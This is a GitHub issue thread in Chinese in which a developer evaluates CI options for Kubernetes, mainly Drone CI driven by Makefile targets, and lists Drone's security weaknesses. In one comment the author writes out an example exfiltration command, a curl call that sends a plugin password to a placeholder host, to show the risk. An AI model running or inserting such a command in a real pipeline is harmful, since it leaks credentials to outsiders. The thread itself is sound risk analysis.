k8s ci的可能实现方式

annProg commented 5 years ago

调研jenkens

或者结合itop自行实现

itop端设置是否使用ci， ci-bot抓取启用ci的app的repo配置，监视repo更新，拉取新代码依次 make build-docker, make push 结果写入itop(类似eveny) 执行make test做自动化测试

ci-bot不仅要更新cmdb，还要发邮件通知和报表

annProg commented 5 years ago

尝试了drone ci，

存在的问题

怎么和gerrit集成？Gerrit账号似乎不像github那样oauth登录，像jenkins那样一个个项目的加配置加用户不太能接受
镜像制作过程相对固定，如何避免写.drone.yml？感觉Makefile不可缺少（保留Makefile，不使用CI yaml配置），CI基于Makefile直接执行 make build-docker ， make push，make up比较好，这样可以不绑定特定CI
考虑可能存在的镜像覆盖问题，如果Makefile里build镜像的指令写死了并且写错了，可能会覆盖其他项目的镜像，怎么处理这种情况？
如果不信任Makefile，直接执行docker build，取代码仓库命名空间和repo名作为镜像名称，这样就要求代码仓库的命名空间需要被管理起来，要和cmdb业务线保持一致，否则会比较乱（如何管理？）
不信任Makefile，如果项目有多个Dockerfile，需要编译多个镜像，咋整？（还是得有个配置或者Makefile）
如果必须有个Makefile，如何检测Makefile是否符合要求?(比如要求必须定义 REGISTRY ?= xxx.com，IMAGE ?= xxx等，这样可以支持CI通过环境变量重定义这些值）（git remote get-url origin |awk -F ':' '{print $2}' |sed 's/.git$//g' 获取代码仓库 命名空间/repo名称）
docker in docker 方式制作镜像，挂载volumes（/var/run/docker.sock），要求drone里设置Trusted，普通用户没有权限，如何处理？drone的docker插件是否能解决此问题（此插件默认向docker hub提交镜像，有安全隐患，最好实现用户免配置，由CI用指定的账号提交至指定registry）？

annProg commented 5 years ago

调研 drone插件开发方法，开发一种自动生成 .drone.yml 的插件，只需要active代码仓库，剩下的事情就是自动生成.drone.yml，然后依次执行

make build-docker 制作镜像
make test 测试
make push 提交镜像
make up 部署到dev集群意味着开发人员需要实现以上指令

如果有多个镜像需要制作

build-docker: build-php5 build-php7
build-php5:
    docker build ...
build-php7:
    docker build ...

annProg commented 5 years ago

drone的好处是可以自动创建github webook（对于团队可能不需要？比如gerrit只要有push就通知ci，ci有权限就拉代码执行构建）。
drone对于搭建云服务可能是个好选择，但是对于团队使用，pipline几乎一样的情况下，很繁琐，要每个项目都写.drone.yml，设置secret，如果想要提供一个默认的账号密码用于push镜像，还可能存在密码暴漏的问题（commands指令可以执行任意命令）
使用 https://github.com/adnanh/webhook 如果能解决任意命令执行问题，可能是个更好的方案?

annProg commented 5 years ago

drone ci 存在的安全问题

插件容器可以执行任意命令，比如plugins/docker插件，加上commands:，执行curl http://xxx.com/ci/$PLUGIN_PASSWD，会暴漏密码
默认pull request会触发构建，恶意pull request可以通过插件容器执行任意命令的问题暴漏敏感信息
使用volumne隐患很大，比如通过容器任意命令执行可以写入恶意程序。不用volume很多功能实现起来会很绕（比如想保留一下编译结果，不用volume 就得用scp,ftp, rsync之类的插件容器，先搭个scp/ftp/rsync服务器，然后每个repo设置个密码，非常繁琐）

为了简单的任务去承担这些风险可能有些不值得

annProg commented 5 years ago

考虑的修改方案

hook after clone，可用于添加默认 .drone.yml，检查代码结构是否符合规范等
hook after pipline, 可用于pipline结束后执行自定义操作
pre defined plugin settings. 可用于 docker push 镜像设置默认的账号密码，避免每个用户输入密码的麻烦

pre defined plugin settings问题

有上文提到的敏感信息泄露问题，用户可能拿到默认的敏感信息。需要考虑判断一个容器是否是插件，比如 settings和commands不能同时存在，否则报错。只存在 settings 时认为是插件，注入 pre defined plugin setting.
用同一个拥有全局权限的账号取执行docker push，就无法信任用户提供的 repo 名称，如果用户疏忽或者故意写错，会有镜像被覆盖。用个人账号，并且 docker registry 进行了权限限制的时候，可避免此情况。（可能的解决方案，不提供 repo 设置，docker registry repo和和据代码仓库的 repo 名保持一致）

annProg commented 5 years ago

接上条，考虑一个仓库要做多个镜像的问题，不提供repo设置，则无法实现。

因此，综合考虑，drone目前的实现算是最好的，不需要在改动了。

annProg commented 5 years ago

gitlab 8.6.4版本集成drone时报错如下

Login Failed. invalid character '<' looking for beginning of value

参考：https://www.58jb.com/html/drone-configure-gitlab.html

需要升级到11.x版本

ops-itop / itop-extensions

k8s ci的可能实现方式 #105

考虑的修改方案

pre defined plugin settings问题